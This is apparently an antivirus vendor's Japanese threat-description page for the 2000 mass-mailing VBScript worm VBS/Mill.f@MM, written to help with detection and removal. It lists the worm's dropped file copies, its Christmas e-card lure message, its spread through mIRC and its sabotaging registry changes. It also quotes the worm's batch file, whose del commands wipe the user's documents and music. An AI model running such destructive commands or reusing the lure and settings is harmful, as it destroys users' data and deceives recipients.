製品情報
導入事例
サービス
サポート
ダウンロード
セキュリティ情報
 
- 最新ウイルス一覧
- ウイルス検索
- 駆除ツール
- 主要ウイルスナビゲータ
- Daily DATリリースに関するFAQ
- ウイルス絵とき理解
- ウイルス画像事典
- ウイルス解析依頼
- ウイルス用語集
- ウイルスの危険度格付け
- セキュリティ対策のヒント
- 無料セキュリティ情報サービス
パートナー
会社案内
個人のお客様
中堅・中小企業のお客様
企業のお客様
製品アップグレード
評価版
セミナー・イベント
キャンペーン
サポートQ&A
お問い合わせ
Global Sites:
Home → セキュリティ情報 → ウイルス情報：M
ウイルス情報
ウイルス情報

ウイルス名
VBS/Mill.f@MM
種別ウイルス
ファイルサイズ低
最小定義ファイル
(最初に検出を確認したバージョン)		4114
対応定義ファイル
(現在必要とされるバージョン)		4114　（現在7084)
対応エンジン4.1.00以降　(現在5.4.00)　
エンジンバージョンの見分け方
情報掲載日01/01/05
発見日（米国日付）00/12/26
駆除補足ウイルス駆除のヒント
概要ウイルスの特徴感染症状感染方法駆除方法

セキュリティ情報

最新ウイルス一覧へ >>
最新ウイルス
05/22W32/Virut.ge...
05/22W32/Duel!962...
05/22W32/Duel!EC1...
定義ファイル・エンジンの
ダウンロード!
  定義ファイル：7084
 エンジン：5.4.00
 
ウイルス検索
 




  • このウイルスが動作するには、Windows Scripting Host（Internet Explorer 5の一部）が必要です。

  • このスクリプトが起動すると、以下のファイルに自身のコピーを作成します。

    "C:\SeasonGreeting.txt.vbs"
    "C:\My Documents\SeasonGreeting.txt.vbs"
    "C:\Program Files\SeasonGreeting.txt.vbs"
    "C:\Windows\Samples\WSH\SeasonGreeting.txt.vbs"
    "C:\Windows\SeasonGreeting.txt.vbs"
    "C:\Windows\System\SeasonGreeting.txt.vbs"
    "C:\Windows\System\SeasonGreeting\SeasonGreeting.txt.vbs"

  • "C:\My Documents"および"C:\"にあるすべてのファイルについては、このスクリプトのコピーが以下のファイルに書き込まれます。

    "%filename%.txt　　　　　　　　　　　.vbs"

  • Windowsのアドレス帳に登録されているすべての宛先に、次の情報といっしょに自身を配信します。

    Subject: "You got a Christmas E-Card from you friend!"
    Message:
    "Wishing you a Merriest Christmas!! ;)
    You got a Christmas Electronic Card from you friend!!
    Please open attachment to view E-Card
    E-Card Brought To You By,
    f0xCiTY"

    Attachment: "SeasonGreeting.txt.vbs"

    ＜訳＞
    "お友達からクリスマスEカードが届いています！"

    メリークリスマス！！ ;)
    お友達からクリスマスEカードが届いています！！
    Eカードを見るには、添付ファイルを開いてください。
    お届けしたEカードはf0xCiTYからです"

    添付ファイル: "SeasonGreeting.txt.vbs"

  • "C:\mirc\script.ini"ファイルがある場合は、チャネルに参加しているIRCユーザに"c:\windows\system\SeasonGreeting\SeasonGreeting.txt.vbs"を配信する命令で上書きされます。

  • 次のレジストリキーの値が作成または改変されます。

    HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
    NoDesktop=1

    HKLM\Software\Microsoft\Windows\CurrentVersion\Setup\BootAutoexecFile=
    C:\Windows\System\SeasonGreeting\SeasonGreetingAutoExec.bat

    HKCU\Control Panel\Mouse\MouseSpeed=0

    HKCU\Control Panel\Mouse\SwapMouseButtons=1

    HKCU\Control Panel\Mouse\DoubleClickSpeed=100

    HKEY_CURRENT_CONFIG\Software\Microsoft\CurrentVersion\Internet Settings\ ProxyServer=proxy.SeasonGreeting.com.sg:8080

    HKLM\Software\Microsoft\Windows\CurrentVersion\
    RegisteredOwner=EvilSanta

    HKLM\Software\Microsoft\Windows\CurrentVersion\ProductName=SUX Windows 2004

    HKCU\Control Panel\Keyboard\KeyboardDelay=3

    HKCU\Control Panel\Keyboard\KeyboardSpeed=0

    HKCU\Control Panel\Desktop\Wallpaper=C:\Windows\Circles.bmp

    HKCU\Control Panel\Desktop\TileWallpaper=1

    HKCU\Software\Microsoft\Notepad\lfStrikeOut=

    HKCR\.mp3\Content Type=SeasonGreeting

    HKCR\.jpg\Content Type=SeasonGreeting

    HKCR\.gif\Content Type=SeasonGreeting

    HKCR\.exe\Content Type=SeasonGreeting

    HKCR\.mpg\Content Type=SeasonGreeting

  • 値の改変により、次のことが行われます。

    - デスクトップを非表示にする。
    - デフォルトのautoexec.batファイルを改変する。
    - マウスの動作速度を最低速に設定する。
    - マウスボタンの設定を入れ換える。
    - アイテム上でダブルクリックできないようにする。
    - 無効なプロキシサーバに対してインターネット接続を設定する。
    - 登録されている所有者名を改変する。
    - 登録されているプロダクト名を改変する。
    - キーボードのタイピング速度を遅くする。
    - デフォルトの壁紙を改変する。
    - メモ帳で使用されているフォントを改変する。
    - Webブラウザで.EXE、.GIF、.JPG、.MP3および.MPGファイルを使用できないようにする。

  • 以下の命令を含むバッチファイル"C:\Windows\System\SeasonGreeting\SeasonGreetingAutoExec.bat"が作成されます。

    @Echo off
    echo.
    echo Evi|SanTa WiSHEs eVeRybOdY a HaPPy x'MaS!!
    echo :-)
    del c:\mydocu~1\*.txt
    del c:\mydocu~1\*.zip
    del c:\mydocu~1\*.exe

  • "C:\My Music"が存在する場合は、.BATファイルに以下のラインが含まれます。

    del c:\mymusi~1\*.mp3
    del c:\mymusi~1\*.mp2

  • "C:\My Documents\My Music"が存在する場合は、.BATファイルに以下のラインが含まれます。

    del c:\mydocu~1\mymusi~1\*.mp3
    del c:\mydocu\mymusi~1\*.mp2